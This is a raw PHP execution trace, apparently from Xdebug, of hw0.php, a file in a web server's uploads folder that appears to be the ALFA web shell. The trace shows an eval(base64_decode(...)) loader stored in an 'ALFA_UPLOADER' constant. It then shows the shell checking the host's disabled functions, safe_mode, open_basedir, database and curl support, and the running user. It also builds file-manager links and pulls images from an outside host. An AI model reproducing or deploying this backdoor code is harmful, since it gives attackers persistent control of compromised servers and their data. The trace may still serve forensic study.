4	65	0	0.014385	2772432	define	0		/var/www/html/uploads/hw0.php	914	2	'ALFA_UPLOADER'	'eval(base64_decode(\'JHggPSBiYXNlNjRfZGVjb2RlKCJQRDl3YUhBZ1pXTm9ieUFpUEhScGRHeGxQbE52YkdWMmFYTnBZbXhsSUZWd2JHOWhaR1Z5UEM5MGFYUnNaVDVjYmp4aWIyUjVJR0puWTI5c2IzSTlJekF3TURBd01ENWNianhpY2o1Y2JqeGpaVzUwWlhJK1BHWnZiblFnWTI5c2IzSTlYQ0ozYUdsMFpWd2lQanhpUGxsdmRYSWdTWEFnUVdSa2NtVnpjeUJwY3p3dllqNGdQR1p2Ym5RZ1kyOXNiM0k5WENKM2FHbDBaVndpUGp3dlptOXVkRDQ4TDJObGJuUmxjajVjYmp4aWFXYytQR1p2Ym5RZ1kyOXNiM0k5WENJak4wTkdRekF3WENJK1BHTmxiblJsY2o1Y2JpSTdaV05vYnlBa1gxTkZVbFpGVWxzblVrVk5UMVJGWDBGRVJGSW5YVHRsWTJodklDSThMMk5sYm5SbGNqNDh'
4	65	1	0.014413	2772536
4	65	R			TRUE
3		A						/var/www/html/uploads/hw0.php	966	_POST['charset'] = 'Windows-1251'
4	66	0	0.014440	2772464	function_exists	0		/var/www/html/uploads/hw0.php	967	1	'diskfreespace'
4	66	1	0.014454	2772504
4	66	R			TRUE
4	67	0	0.014467	2772464	diskfreespace	0		/var/www/html/uploads/hw0.php	967	1	'/var/www/html/uploads/'
4	67	1	0.014485	2772496
4	67	R			209226104832
3		A						/var/www/html/uploads/hw0.php	967	$freeSpace = 209226104832
4	68	0	0.014511	2772464	function_exists	0		/var/www/html/uploads/hw0.php	968	1	'disk_total_space'
4	68	1	0.014525	2772504
4	68	R			TRUE
4	69	0	0.014538	2772464	disk_total_space	0		/var/www/html/uploads/hw0.php	968	1	'/var/www/html/uploads/'
4	69	1	0.014552	2772496
4	69	R			232015802368
3		A						/var/www/html/uploads/hw0.php	968	$totalSpace = 232015802368
3		A						/var/www/html/uploads/hw0.php	969	$totalSpace = 232015802368
3		A						/var/www/html/uploads/hw0.php	970	$on = '<span class=\'header_on\'> ON </span>'
3		A						/var/www/html/uploads/hw0.php	971	$of = '<span class=\'header_off\'> OFF </span>'
3		A						/var/www/html/uploads/hw0.php	972	$none = '<span class=\'header_none\'> NONE </span>'
4	70	0	0.014622	2772464	function_exists	0		/var/www/html/uploads/hw0.php	973	1	'ssh2_connect'
4	70	1	0.014636	2772504
4	70	R			FALSE
3		A						/var/www/html/uploads/hw0.php	976	$ssh2 = '<span class=\'header_off\'> OFF </span>'
4	71	0	0.014660	2772464	function_exists	0		/var/www/html/uploads/hw0.php	977	1	'curl_version'
4	71	1	0.014674	2772504
4	71	R			TRUE
3		A						/var/www/html/uploads/hw0.php	978	$curl = '<span class=\'header_on\'> ON </span>'
4	72	0	0.014698	2772464	function_exists	0		/var/www/html/uploads/hw0.php	981	1	'mysql_get_client_info'
4	72	1	0.014711	2772504
4	72	R			FALSE
4	73	0	0.014724	2772464	class_exists	0		/var/www/html/uploads/hw0.php	981	1	'mysqli'
4	73	1	0.014737	2772504
4	73	R			FALSE
3		A						/var/www/html/uploads/hw0.php	984	$mysql = '<span class=\'header_off\'> OFF </span>'
4	74	0	0.014762	2772464	function_exists	0		/var/www/html/uploads/hw0.php	985	1	'mssql_connect'
4	74	1	0.014775	2772504
4	74	R			FALSE
3		A						/var/www/html/uploads/hw0.php	988	$mssql = '<span class=\'header_off\'> OFF </span>'
4	75	0	0.014799	2772464	function_exists	0		/var/www/html/uploads/hw0.php	989	1	'pg_connect'
4	75	1	0.014812	2772504
4	75	R			FALSE
3		A						/var/www/html/uploads/hw0.php	992	$pg = '<span class=\'header_off\'> OFF </span>'
4	76	0	0.014836	2772464	function_exists	0		/var/www/html/uploads/hw0.php	993	1	'oci_connect'
4	76	1	0.014849	2772504
4	76	R			FALSE
3		A						/var/www/html/uploads/hw0.php	996	$or = '<span class=\'header_off\'> OFF </span>'
4	77	0	0.014873	2772464	ini_get	0		/var/www/html/uploads/hw0.php	997	1	'disable_functions'
4	77	1	0.014886	2772944
4	77	R			'pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,'
4	78	0	0.014912	2772464	ini_get	0		/var/www/html/uploads/hw0.php	998	1	'disable_functions'
4	78	1	0.014925	2772944
4	78	R			'pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,'
3		A						/var/www/html/uploads/hw0.php	998	$disfun = 'pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,'
4	79	0	0.014971	2772912	ini_get	0		/var/www/html/uploads/hw0.php	1001	1	'safe_mode'
4	79	1	0.014984	2772944
4	79	R			FALSE
3		A						/var/www/html/uploads/hw0.php	1004	$safe_modes = '<span class=\'header_on\'>OFF</span>'
3		A						/var/www/html/uploads/hw0.php	1005	$cgi_shell = '<span class=\'header_off\' id=\'header_cgishell\'>OFF</span>'
4	80	0	0.015021	2772912	ini_get	0		/var/www/html/uploads/hw0.php	1006	1	'open_basedir'
4	80	1	0.015034	2772944
4	80	R			''
3		A						/var/www/html/uploads/hw0.php	1013	$open_b = '<span class=\'header_none\'> NONE </span>'
4	81	0	0.015059	2772912	ini_get	0		/var/www/html/uploads/hw0.php	1014	1	'safe_mode_exec_dir'
4	81	1	0.015072	2772944
4	81	R			FALSE
3		A						/var/www/html/uploads/hw0.php	1017	$safe_exe = '<span class=\'header_none\'> NONE </span>'
4	82	0	0.015097	2772912	ini_get	0		/var/www/html/uploads/hw0.php	1018	1	'safe_mode_include_dir'
4	82	1	0.015110	2772944
4	82	R			FALSE
3		A						/var/www/html/uploads/hw0.php	1021	$safe_include = '<span class=\'header_none\'> NONE </span>'
4	83	0	0.015135	2772912	function_exists	0		/var/www/html/uploads/hw0.php	1022	1	'posix_getegid'
4	83	1	0.015149	2772952
4	83	R			TRUE
4	84	0	0.015161	2772912	function_exists	0		/var/www/html/uploads/hw0.php	1029	1	'posix_getpwuid'
4	84	1	0.015175	2772952
4	84	R			TRUE
4	85	0	0.015187	2772912	function_exists	0		/var/www/html/uploads/hw0.php	1029	1	'posix_geteuid'
4	85	1	0.015200	2772952
4	85	R			TRUE
4	86	0	0.015212	2772912	posix_geteuid	0		/var/www/html/uploads/hw0.php	1029	0
4	86	1	0.015225	2772912
4	86	R			33
4	87	0	0.015238	2772912	posix_getpwuid	0		/var/www/html/uploads/hw0.php	1029	1	33
4	87	1	0.015274	2773744
4	87	R			['name' => 'www-data', 'passwd' => 'x', 'uid' => 33, 'gid' => 33, 'gecos' => 'www-data', 'dir' => '/var/www', 'shell' => '/usr/sbin/nologin']
3		A						/var/www/html/uploads/hw0.php	1029	$uid = ['name' => 'www-data', 'passwd' => 'x', 'uid' => 33, 'gid' => 33, 'gecos' => 'www-data', 'dir' => '/var/www', 'shell' => '/usr/sbin/nologin']
4	88	0	0.015318	2773712	function_exists	0		/var/www/html/uploads/hw0.php	1030	1	'posix_getgrgid'
4	88	1	0.015331	2773752
4	88	R			TRUE
4	89	0	0.015343	2773712	function_exists	0		/var/www/html/uploads/hw0.php	1030	1	'posix_getegid'
4	89	1	0.015356	2773752
4	89	R			TRUE
4	90	0	0.015369	2773712	posix_getegid	0		/var/www/html/uploads/hw0.php	1030	0
4	90	1	0.015381	2773712
4	90	R			33
4	91	0	0.015394	2773712	posix_getgrgid	0		/var/www/html/uploads/hw0.php	1030	1	33
4	91	1	0.015420	2774376
4	91	R			['name' => 'www-data', 'passwd' => 'x', 'members' => [], 'gid' => 33]
3		A						/var/www/html/uploads/hw0.php	1030	$gid = ['name' => 'www-data', 'passwd' => 'x', 'members' => [], 'gid' => 33]
3		A						/var/www/html/uploads/hw0.php	1031	$user = 'www-data'
3		A						/var/www/html/uploads/hw0.php	1032	$uid = 33
3		A						/var/www/html/uploads/hw0.php	1033	$group = 'www-data'
3		A						/var/www/html/uploads/hw0.php	1034	$gid = 33
3		A						/var/www/html/uploads/hw0.php	1036	$cwd_links = ''
4	92	0	0.015506	2772992	explode	0		/var/www/html/uploads/hw0.php	1037	2	'/'	'/var/www/html/uploads/'
4	92	1	0.015520	2773600
4	92	R			[0 => '', 1 => 'var', 2 => 'www', 3 => 'html', 4 => 'uploads', 5 => '']
3		A						/var/www/html/uploads/hw0.php	1037	$path = [0 => '', 1 => 'var', 2 => 'www', 3 => 'html', 4 => 'uploads', 5 => '']
3		A						/var/www/html/uploads/hw0.php	1038	$n = 6
3		A						/var/www/html/uploads/hw0.php	1039	$i = 0
3		A						/var/www/html/uploads/hw0.php	1040	$cwd_links .= '<a class=\'header_pwd\' onclick=\'g("FilesMan","'
3		A						/var/www/html/uploads/hw0.php	1041	$cach_cwd_path = ''
3		A						/var/www/html/uploads/hw0.php	1042	$j = 0
3		A						/var/www/html/uploads/hw0.php	1043	$cwd_links .= '/'
3		A						/var/www/html/uploads/hw0.php	1044	$cach_cwd_path .= '/'
3		A						/var/www/html/uploads/hw0.php	1042	$j++
3		A						/var/www/html/uploads/hw0.php	1046	$cwd_links .= '")\' path=\'/\' href=\'#action=fileman&path=/\'>/</a>'
3		A						/var/www/html/uploads/hw0.php	1039	$i++
3		A						/var/www/html/uploads/hw0.php	1040	$cwd_links .= '<a class=\'header_pwd\' onclick=\'g("FilesMan","'
3		A						/var/www/html/uploads/hw0.php	1041	$cach_cwd_path = ''
3		A						/var/www/html/uploads/hw0.php	1042	$j = 0
3		A						/var/www/html/uploads/hw0.php	1043	$cwd_links .= '/'
3		A						/var/www/html/uploads/hw0.php	1044	$cach_cwd_path .= '/'
3		A						/var/www/html/uploads/hw0.php	1042	$j++
3		A						/var/www/html/uploads/hw0.php	1043	$cwd_links .= 'var/'
3		A						/var/www/html/uploads/hw0.php	1044	$cach_cwd_path .= 'var/'
3		A						/var/www/html/uploads/hw0.php	1042	$j++
3		A						/var/www/html/uploads/hw0.php	1046	$cwd_links .= '")\' path=\'/var/\' href=\'#action=fileman&path=/var/\'>var/</a>'
3		A						/var/www/html/uploads/hw0.php	1039	$i++
3		A						/var/www/html/uploads/hw0.php	1040	$cwd_links .= '<a class=\'header_pwd\' onclick=\'g("FilesMan","'
3		A						/var/www/html/uploads/hw0.php	1041	$cach_cwd_path = ''
3		A						/var/www/html/uploads/hw0.php	1042	$j = 0
3		A						/var/www/html/uploads/hw0.php	1043	$cwd_links .= '/'
3		A						/var/www/html/uploads/hw0.php	1044	$cach_cwd_path .= '/'
3		A						/var/www/html/uploads/hw0.php	1042	$j++
3		A						/var/www/html/uploads/hw0.php	1043	$cwd_links .= 'var/'
3		A						/var/www/html/uploads/hw0.php	1044	$cach_cwd_path .= 'var/'
3		A						/var/www/html/uploads/hw0.php	1042	$j++
3		A						/var/www/html/uploads/hw0.php	1043	$cwd_links .= 'www/'
3		A						/var/www/html/uploads/hw0.php	1044	$cach_cwd_path .= 'www/'
3		A						/var/www/html/uploads/hw0.php	1042	$j++
3		A						/var/www/html/uploads/hw0.php	1046	$cwd_links .= '")\' path=\'/var/www/\' href=\'#action=fileman&path=/var/www/\'>www/</a>'
3		A						/var/www/html/uploads/hw0.php	1039	$i++
3		A						/var/www/html/uploads/hw0.php	1040	$cwd_links .= '<a class=\'header_pwd\' onclick=\'g("FilesMan","'
3		A						/var/www/html/uploads/hw0.php	1041	$cach_cwd_path = ''
3		A						/var/www/html/uploads/hw0.php	1042	$j = 0
3		A						/var/www/html/uploads/hw0.php	1043	$cwd_links .= '/'
3		A						/var/www/html/uploads/hw0.php	1044	$cach_cwd_path .= '/'
3		A						/var/www/html/uploads/hw0.php	1042	$j++
3		A						/var/www/html/uploads/hw0.php	1043	$cwd_links .= 'var/'
3		A						/var/www/html/uploads/hw0.php	1044	$cach_cwd_path .= 'var/'
3		A						/var/www/html/uploads/hw0.php	1042	$j++
3		A						/var/www/html/uploads/hw0.php	1043	$cwd_links .= 'www/'
3		A						/var/www/html/uploads/hw0.php	1044	$cach_cwd_path .= 'www/'
3		A						/var/www/html/uploads/hw0.php	1042	$j++
3		A						/var/www/html/uploads/hw0.php	1043	$cwd_links .= 'html/'
3		A						/var/www/html/uploads/hw0.php	1044	$cach_cwd_path .= 'html/'
3		A						/var/www/html/uploads/hw0.php	1042	$j++
3		A						/var/www/html/uploads/hw0.php	1046	$cwd_links .= '")\' path=\'/var/www/html/\' href=\'#action=fileman&path=/var/www/html/\'>html/</a>'
3		A						/var/www/html/uploads/hw0.php	1039	$i++
3		A						/var/www/html/uploads/hw0.php	1040	$cwd_links .= '<a class=\'header_pwd\' onclick=\'g("FilesMan","'
3		A						/var/www/html/uploads/hw0.php	1041	$cach_cwd_path = ''
3		A						/var/www/html/uploads/hw0.php	1042	$j = 0
3		A						/var/www/html/uploads/hw0.php	1043	$cwd_links .= '/'
3		A						/var/www/html/uploads/hw0.php	1044	$cach_cwd_path .= '/'
3		A						/var/www/html/uploads/hw0.php	1042	$j++
3		A						/var/www/html/uploads/hw0.php	1043	$cwd_links .= 'var/'
3		A						/var/www/html/uploads/hw0.php	1044	$cach_cwd_path .= 'var/'
3		A						/var/www/html/uploads/hw0.php	1042	$j++
3		A						/var/www/html/uploads/hw0.php	1043	$cwd_links .= 'www/'
3		A						/var/www/html/uploads/hw0.php	1044	$cach_cwd_path .= 'www/'
3		A						/var/www/html/uploads/hw0.php	1042	$j++
3		A						/var/www/html/uploads/hw0.php	1043	$cwd_links .= 'html/'
3		A						/var/www/html/uploads/hw0.php	1044	$cach_cwd_path .= 'html/'
3		A						/var/www/html/uploads/hw0.php	1042	$j++
3		A						/var/www/html/uploads/hw0.php	1043	$cwd_links .= 'uploads/'
3		A						/var/www/html/uploads/hw0.php	1044	$cach_cwd_path .= 'uploads/'
3		A						/var/www/html/uploads/hw0.php	1042	$j++
3		A						/var/www/html/uploads/hw0.php	1046	$cwd_links .= '")\' path=\'/var/www/html/uploads/\' href=\'#action=fileman&path=/var/www/html/uploads/\'>uploads/</a>'
3		A						/var/www/html/uploads/hw0.php	1039	$i++
3		A						/var/www/html/uploads/hw0.php	1048	$drives = ''
4	93	0	0.016247	2774344	range	0		/var/www/html/uploads/hw0.php	1049	2	'a'	'z'
4	93	1	0.016262	2775744
4	93	R			[0 => 'a', 1 => 'b', 2 => 'c', 3 => 'd', 4 => 'e', 5 => 'f', 6 => 'g', 7 => 'h', 8 => 'i', 9 => 'j', 10 => 'k', 11 => 'l', 12 => 'm', 13 => 'n', 14 => 'o', 15 => 'p', 16 => 'q', 17 => 'r', 18 => 's', 19 => 't', 20 => 'u', 21 => 'v', 22 => 'w', 23 => 'x', 24 => 'y', 25 => 'z']
4	94	0	0.016293	2775712	is_dir	0		/var/www/html/uploads/hw0.php	1050	1	'a:\\'
4	94	1	0.016314	2775752
4	94	R			FALSE
4	95	0	0.016329	2775712	is_dir	0		/var/www/html/uploads/hw0.php	1050	1	'b:\\'
4	95	1	0.016344	2775752
4	95	R			FALSE
4	96	0	0.016357	2775712	is_dir	0		/var/www/html/uploads/hw0.php	1050	1	'c:\\'
4	96	1	0.016371	2775752
4	96	R			FALSE
4	97	0	0.016385	2775712	is_dir	0		/var/www/html/uploads/hw0.php	1050	1	'd:\\'
4	97	1	0.016399	2775752
4	97	R			FALSE
4	98	0	0.016412	2775712	is_dir	0		/var/www/html/uploads/hw0.php	1050	1	'e:\\'
4	98	1	0.016426	2775752
4	98	R			FALSE
4	99	0	0.016438	2775712	is_dir	0		/var/www/html/uploads/hw0.php	1050	1	'f:\\'
4	99	1	0.016453	2775752
4	99	R			FALSE
4	100	0	0.016466	2775712	is_dir	0		/var/www/html/uploads/hw0.php	1050	1	'g:\\'
4	100	1	0.016480	2775752
4	100	R			FALSE
4	101	0	0.016494	2775712	is_dir	0		/var/www/html/uploads/hw0.php	1050	1	'h:\\'
4	101	1	0.016508	2775752
4	101	R			FALSE
4	102	0	0.016521	2775712	is_dir	0		/var/www/html/uploads/hw0.php	1050	1	'i:\\'
4	102	1	0.016535	2775752
4	102	R			FALSE
4	103	0	0.016548	2775712	is_dir	0		/var/www/html/uploads/hw0.php	1050	1	'j:\\'
4	103	1	0.016562	2775752
4	103	R			FALSE
4	104	0	0.016575	2775712	is_dir	0		/var/www/html/uploads/hw0.php	1050	1	'k:\\'
4	104	1	0.016589	2775752
4	104	R			FALSE
4	105	0	0.016602	2775712	is_dir	0		/var/www/html/uploads/hw0.php	1050	1	'l:\\'
4	105	1	0.016616	2775752
4	105	R			FALSE
4	106	0	0.016629	2775712	is_dir	0		/var/www/html/uploads/hw0.php	1050	1	'm:\\'
4	106	1	0.016643	2775752
4	106	R			FALSE
4	107	0	0.016656	2775712	is_dir	0		/var/www/html/uploads/hw0.php	1050	1	'n:\\'
4	107	1	0.016670	2775752
4	107	R			FALSE
4	108	0	0.016682	2775712	is_dir	0		/var/www/html/uploads/hw0.php	1050	1	'o:\\'
4	108	1	0.016696	2775752
4	108	R			FALSE
4	109	0	0.016709	2775712	is_dir	0		/var/www/html/uploads/hw0.php	1050	1	'p:\\'
4	109	1	0.016722	2775752
4	109	R			FALSE
4	110	0	0.016735	2775712	is_dir	0		/var/www/html/uploads/hw0.php	1050	1	'q:\\'
4	110	1	0.016749	2775752
4	110	R			FALSE
4	111	0	0.016761	2775712	is_dir	0		/var/www/html/uploads/hw0.php	1050	1	'r:\\'
4	111	1	0.016775	2775752
4	111	R			FALSE
4	112	0	0.016789	2775712	is_dir	0		/var/www/html/uploads/hw0.php	1050	1	's:\\'
4	112	1	0.016803	2775752
4	112	R			FALSE
4	113	0	0.016816	2775712	is_dir	0		/var/www/html/uploads/hw0.php	1050	1	't:\\'
4	113	1	0.016830	2775752
4	113	R			FALSE
4	114	0	0.016843	2775712	is_dir	0		/var/www/html/uploads/hw0.php	1050	1	'u:\\'
4	114	1	0.016857	2775752
4	114	R			FALSE
4	115	0	0.016870	2775712	is_dir	0		/var/www/html/uploads/hw0.php	1050	1	'v:\\'
4	115	1	0.016884	2775752
4	115	R			FALSE
4	116	0	0.016897	2775712	is_dir	0		/var/www/html/uploads/hw0.php	1050	1	'w:\\'
4	116	1	0.016911	2775752
4	116	R			FALSE
4	117	0	0.016924	2775712	is_dir	0		/var/www/html/uploads/hw0.php	1050	1	'x:\\'
4	117	1	0.016938	2775752
4	117	R			FALSE
4	118	0	0.016951	2775712	is_dir	0		/var/www/html/uploads/hw0.php	1050	1	'y:\\'
4	118	1	0.016965	2775752
4	118	R			FALSE
4	119	0	0.016978	2775712	is_dir	0		/var/www/html/uploads/hw0.php	1050	1	'z:\\'
4	119	1	0.016991	2775752
4	119	R			FALSE
3		A						/var/www/html/uploads/hw0.php	1052	$csscode = '\t-moz-animation-name: spin;-moz-animation-iteration-count: infinite;-moz-animation-timing-function: linear;-moz-animation-duration: 1s;-webkit-animation-name: spin;-webkit-animation-iteration-count: infinite;-webkit-animation-timing-function: linear;-webkit-animation-duration: 1s;-ms-animation-name: spin;-ms-animation-iteration-count: infinite;-ms-animation-timing-function: linear;-ms-animation-duration: 1s;animation-name: spin;animation-iteration-count: infinite;animation-timing-function: linear;animation'
4	120	0	0.017030	2774344	__showicon	1		/var/www/html/uploads/hw0.php	1058	1	'alfamini'
4		A						/var/www/html/uploads/hw0.php	1237	$s['btn'] = 'http://solevisible.com/images/btn.png'
4		A						/var/www/html/uploads/hw0.php	1238	$s['alfamini'] = 'http://solevisible.com/images/alfamini.png'
4		A						/var/www/html/uploads/hw0.php	1239	$s['loader'] = 'http://solevisible.com/images/loader.svg'
4	120	1	0.017082	2774344
4	120	R			'http://solevisible.com/images/alfamini.png'
4	121	0	0.017447	2789304	alfa_getColor	1		/var/www/html/uploads/hw0.php	1069	1	'header_values'
4		A						/var/www/html/uploads/hw0.php	618	$target = '#67ABDF'
4	121	1	0.017481	2789304
4	121	R			'#67ABDF'
4	122	0	0.017497	2790840	__showicon	1		/var/www/html/uploads/hw0.php	1069	1	'alfamini'
4		A						/var/www/html/uploads/hw0.php	1237	$s['btn'] = 'http://solevisible.com/images/btn.png'
4		A						/var/www/html/uploads/hw0.php	1238	$s['alfamini'] = 'http://solevisible.com/images/alfamini.png'
4		A						/var/www/html/uploads/hw0.php	1239	$s['loader'] = 'http://solevisible.com/images/loader.svg'
4	122	1	0.017548	2790840
4	122	R			'http://solevisible.com/images/alfamini.png'
4	123	0	0.017566	2794936	__showicon	1		/var/www/html/uploads/hw0.php	1069	1	'alfamini'
4		A						/var/www/html/uploads/hw0.php	1237	$s['btn'] = 'http://solevisible.com/images/btn.png'
4		A						/var/www/html/uploads/hw0.php	1238	$s['alfamini'] = 'http://solevisible.com/images/alfamini.png'
4		A						/var/www/html/uploads/hw0.php	1239	$s['loader'] = 'http://solevisible.com/images/loader.svg'
4	123	1	0.017615	2794936
4	123	R			'http://solevisible.com/images/alfamini.png'
4	124	0	0.017632	2794936	__showicon	1		/var/www/html/uploads/hw0.php	1069	1	'btn'
4		A						/var/www/html/uploads/hw0.php	1237	$s['btn'] = 'http://solevisible.com/images/btn.png'
4		A						/var/www/html/uploads/hw0.php	1238	$s['alfamini'] = 'http://solevisible.com/images/alfamini.png'
4		A						/var/www/html/uploads/hw0.php	1239	$s['loader'] = 'http://solevisible.com/images/loader.svg'
4	124	1	0.017678	2794936
4	124	R			'http://solevisible.com/images/btn.png'
4	125	0	0.017695	2794936	is_writable	0		/var/www/html/uploads/hw0.php	1070	1	'/var/www/html/uploads/'
4	125	1	0.017713	2794976
4	125	R			TRUE
4	126	0	0.017729	2799032	alfaCssLoadColors	1		/var/www/html/uploads/hw0.php	1070	0
4		A						/var/www/html/uploads/hw0.php	627	$css = ''
4		A						/var/www/html/uploads/hw0.php	628	$key = 'shell_border'
4		A						/var/www/html/uploads/hw0.php	634	$k = '.header'
5	127	0	0.017774	2799032	alfa_getColor	1		/var/www/html/uploads/hw0.php	635	1	'shell_border'
5		A						/var/www/html/uploads/hw0.php	618	$target = ['key_color' => '#0E304A', 'multi_selector' => ['.header' => 'border: 7px solid {color}', '#meunlist' => 'border-color: {color}', '#hidden_sh' => 'background-color: {color}', '.ajaxarea' => 'border: 1px solid {color}', '.foot' => 'border-color: {color}']]
5	127	1	0.017811	2799032
5	127	R			'#0E304A'
4		A						/var/www/html/uploads/hw0.php	635	$color = '#0E304A'
5	128	0	0.017836	2799032	str_replace	0		/var/www/html/uploads/hw0.php	636	3	'{color}'	'#0E304A'	'border: 7px solid {color}'
5	128	1	0.017853	2799184
5	128	R			'border: 7px solid #0E304A'
4		A						/var/www/html/uploads/hw0.php	636	$code = 'border: 7px solid #0E304A'
4		A						/var/www/html/uploads/hw0.php	637	$css .= '.header{border: 7px solid #0E304A}'
4		A						/var/www/html/uploads/hw0.php	634	$k = '#meunlist'
5	129	0	0.017902	2799152	alfa_getColor	1		/var/www/html/uploads/hw0.php	635	1	'shell_border'
5		A						/var/www/html/uploads/hw0.php	618	$target = ['key_color' => '#0E304A', 'multi_selector' => ['.header' => 'border: 7px solid {color}', '#meunlist' => 'border-color: {color}', '#hidden_sh' => 'background-color: {color}', '.ajaxarea' => 'border: 1px solid {color}', '.foot' => 'border-color: {color}']]
5	129	1	0.017937	2799152
5	129	R			'#0E304A'
4		A						/var/www/html/uploads/hw0.php	635	$color = '#0E304A'
5	130	0	0.017962	2799152	str_replace	0		/var/www/html/uploads/hw0.php	636	3	'{color}'	'#0E304A'	'border-color: {color}'
5	130	1	0.017977	2799296
5	130	R			'border-color: #0E304A'
4		A						/var/www/html/uploads/hw0.php	636	$code = 'border-color: #0E304A'
4		A						/var/www/html/uploads/hw0.php	637	$css .= '#meunlist{border-color: #0E304A}'
4		A						/var/www/html/uploads/hw0.php	634	$k = '#hidden_sh'
5	131	0	0.018030	2799176	alfa_getColor	1		/var/www/html/uploads/hw0.php	635	1	'shell_border'
5		A						/var/www/html/uploads/hw0.php	618	$target = ['key_color' => '#0E304A', 'multi_selector' => ['.header' => 'border: 7px solid {color}', '#meunlist' => 'border-color: {color}', '#hidden_sh' => 'background-color: {color}', '.ajaxarea' => 'border: 1px solid {color}', '.foot' => 'border-color: {color}']]
5	131	1	0.018065	2799176
5	131	R			'#0E304A'
4		A						/var/www/html/uploads/hw0.php	635	$color = '#0E304A'
5	132	0	0.018089	2799176	str_replace	0		/var/www/html/uploads/hw0.php	636	3	'{color}'	'#0E304A'	'background-color: {color}'
5	132	1	0.018104	2799328
5	132	R			'background-color: #0E304A'
4		A						/var/www/html/uploads/hw0.php	636	$code = 'background-color: #0E304A'
4		A						/var/www/html/uploads/hw0.php	637	$css .= '#hidden_sh{background-color: #0E304A}'
4		A						/var/www/html/uploads/hw0.php	634	$k = '.ajaxarea'
5	133	0	0.018153	2799216	alfa_getColor	1		/var/www/html/uploads/hw0.php	635	1	'shell_border'
5		A						/var/www/html/uploads/hw0.php	618	$target = ['key_color' => '#0E304A', 'multi_selector' => ['.header' => 'border: 7px solid {color}', '#meunlist' => 'border-color: {color}', '#hidden_sh' => 'background-color: {color}', '.ajaxarea' => 'border: 1px solid {color}', '.foot' => 'border-color: {color}']]
5	133	1	0.018187	2799216
5	133	R			'#0E304A'
4		A						/var/www/html/uploads/hw0.php	635	$color = '#0E304A'
5	134	0	0.018211	2799216	str_replace	0		/var/www/html/uploads/hw0.php	636	3	'{color}'	'#0E304A'	'border: 1px solid {color}'
5	134	1	0.018227	2799368
5	134	R			'border: 1px solid #0E304A'
4		A						/var/www/html/uploads/hw0.php	636	$code = 'border: 1px solid #0E304A'
4		A						/var/www/html/uploads/hw0.php	637	$css .= '.ajaxarea{border: 1px solid #0E304A}'
4		A						/var/www/html/uploads/hw0.php	634	$k = '.foot'
5	135	0	0.018274	2799280	alfa_getColor	1		/var/www/html/uploads/hw0.php	635	1	'shell_border'
5		A						/var/www/html/uploads/hw0.php	618	$target = ['key_color' => '#0E304A', 'multi_selector' => ['.header' => 'border: 7px solid {color}', '#meunlist' => 'border-color: {color}', '#hidden_sh' => 'background-color: {color}', '.ajaxarea' => 'border: 1px solid {color}', '.foot' => 'border-color: {color}']]
5	135	1	0.018308	2799280
5	135	R			'#0E304A'
4		A						/var/www/html/uploads/hw0.php	635	$color = '#0E304A'
5	136	0	0.018335	2799280	str_replace	0		/var/www/html/uploads/hw0.php	636	3	'{color}'	'#0E304A'	'border-color: {color}'
5	136	1	0.018350	2799424
5	136	R			'border-color: #0E304A'
4		A						/var/www/html/uploads/hw0.php	636	$code = 'border-color: #0E304A'
4		A						/var/www/html/uploads/hw0.php	637	$css .= '.foot{border-color: #0E304A}'
4		A						/var/www/html/uploads/hw0.php	628	$key = 'header_vars'
5	137	0	0.018402	2799272	alfa_getColor	1		/var/www/html/uploads/hw0.php	630	1	'header_vars'
5		A						/var/www/html/uploads/hw0.php	618	$target = '#27979B'
5	137	1	0.018427	2799272
5	137	R			'#27979B'
4		A						/var/www/html/uploads/hw0.php	630	$value = '#27979B'
4		A						/var/www/html/uploads/hw0.php	631	$css .= '.header_vars{color: #27979B;}'
4		A						/var/www/html/uploads/hw0.php	628	$key = 'header_values'
5	138	0	0.018473	2799304	alfa_getColor	1		/var/www/html/uploads/hw0.php	630	1	'header_values'
5		A						/var/www/html/uploads/hw0.php	618	$target = '#67ABDF'
5	138	1	0.018497	2799304
5	138	R			'#67ABDF'
4		A						/var/www/html/uploads/hw0.php	630	$value = '#67ABDF'
4		A						/var/www/html/uploads/hw0.php	631	$css .= '.header_values{color: #67ABDF;}'
4		A						/var/www/html/uploads/hw0.php	628	$key = 'header_on'
5	139	0	0.018542	2799336	alfa_getColor	1		/var/www/html/uploads/hw0.php	630	1	'header_on'
5		A						/var/www/html/uploads/hw0.php	618	$target = '#00FF00'
5	139	1	0.018566	2799336
5	139	R			'#00FF00'
4		A						/var/www/html/uploads/hw0.php	630	$value = '#00FF00'
4		A						/var/www/html/uploads/hw0.php	631	$css .= '.header_on{color: #00FF00;}'
4		A						/var/www/html/uploads/hw0.php	628	$key = 'header_off'
5	140	0	0.018611	2799400	alfa_getColor	1		/var/www/html/uploads/hw0.php	630	1	'header_off'
5		A						/var/www/html/uploads/hw0.php	618	$target = '#ff0000'
5	140	1	0.018634	2799400
5	140	R			'#ff0000'
4		A						/var/www/html/uploads/hw0.php	630	$value = '#ff0000'
4		A						/var/www/html/uploads/hw0.php	631	$css .= '.header_off{color: #ff0000;}'
4		A						/var/www/html/uploads/hw0.php	628	$key = 'header_none'
5	141	0	0.018684	2799400	alfa_getColor	1		/var/www/html/uploads/hw0.php	630	1	'header_none'
